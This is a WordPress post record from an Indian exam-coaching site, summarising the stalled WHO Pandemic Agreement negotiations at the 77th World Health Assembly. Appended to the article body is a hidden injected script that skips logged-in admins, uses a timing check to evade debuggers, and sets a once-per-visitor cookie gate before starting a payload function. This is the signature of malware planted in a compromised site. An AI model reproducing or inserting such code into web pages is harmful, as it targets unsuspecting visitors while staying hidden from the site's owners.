{"id":1223,"date":"2024-08-03T05:08:37","date_gmt":"2024-08-03T05:08:37","guid":{"rendered":"https:\/\/iasquest.com\/?p=1223"},"modified":"2026-02-11T19:14:59","modified_gmt":"2026-02-11T19:14:59","slug":"paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-21","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/paper-iii-general-studies-ii-governance-constitution-polity-social-justice-and-international-relations-21\/","title":{"rendered":"PAPER III General Studies- II: Governance, Constitution, Polity, Social Justice and International relations"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><strong><em>Issues Relating to Development and Management of Social Sector\/Services relating to Health, Education, Human Resources<\/em><\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em>News:<\/em><\/strong><em> The global struggle for a pandemic treat<\/em><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#c50b0b\"><strong>\u00a0What are the challenges preventing the Pandemic Agreement from being adopted, and what approaches should be taken to overcome them ?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The <strong><em>77th World Health Assembly (WHA) in Geneva<\/em><\/strong> marked a critical juncture in global health governance, as 194 WHO member states failed to finalize the much-anticipated Pandemic Agreement after over two years of negotiations. Despite this setback, significant progress was made with adopting amendments to <strong><em>the International Health Regulations (IHR) 2005<\/em><\/strong> and extending the mandate for the Pandemic Treaty negotiating body.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Major decisions in the 77th World Health Assembly<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>International Health Regulations Amendments:<\/strong> The 2005 International Health Regulations (IHR) was accepted by the Assembly. The new &#8220;Pandemic Emergency&#8221; category, increased health emergency readiness, equitable access to medical supplies, aid to developing nations, and the creation of a National IHR Authority for better coordination are all the goals of these modifications.<\/li>\n\n\n\n<li><strong><em>WHO Pandemic Agreement completion<\/em><\/strong> \u2013 The intergovernmental negotiation body&#8217;s (INB) term for the Pandemic Treaty was extended, necessitating a prompt completion of the WHO Pandemic Agreement.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Challenges need to be addressed:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Pathogen Benefit Sharing and Access (PABS):<\/strong> By mandating manufacturers to donate a percentage of their products to WHO for worldwide distribution, the idea seeks to alleviate disparities in treatment access and vaccination distribution.&nbsp;<\/li>\n\n\n\n<li>On donation percentages, there is disagreement, with high-income countries refusing to budge from LMICs (low- and middle-income countries) calling for at least 20%.<\/li>\n\n\n\n<li><strong>Technology Transfer and Intellectual Property Rights:<\/strong> Disputes about intellectual property rights, production governance, and TRIPS flexibilities\u2014particularly with regard to the &#8220;peace clause&#8221;\u2014have put a stop to negotiations.<\/li>\n\n\n\n<li><strong>The One Health Approach:<\/strong> While high-income nations favor this strategy, which combines environmental, animal, and human health, low- and middle-income nations view it as an unnecessary burden.<\/li>\n\n\n\n<li><strong>Enforcement and Implementation:<\/strong> There are serious worries over the Pandemic Agreement&#8217;s implementation due to the International Health Regulations&#8217; (IHR) absence of a strong compliance mechanism and accountability.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Way Forward:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong><em>Partnership for International Health Security <\/em><\/strong>&#8211; Leaders and diplomats alike should understand that international health security is enhanced by cooperation and mutual aid.<\/li>\n\n\n\n<li>The <strong><em>use of technology transfer and intellectual property waivers<\/em><\/strong> is <strong><em>recommended <\/em><\/strong><strong>in<\/strong> order to develop a varied range of global industrial capabilities. LMICs will be able to become self-sufficient as a result, and their need on aid from high-income nations will decrease.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Reference: <a href=\"https:\/\/www.thehindu.com\/sci-tech\/health\/the-global-struggle-for-a-pandemic-treaty\/article68469433.ece\" target=\"_blank\" rel=\"noopener\">https:\/\/www.thehindu.com\/sci-tech\/health\/the-global-struggle-for-a-pandemic-treaty\/article68469433.ece<\/a>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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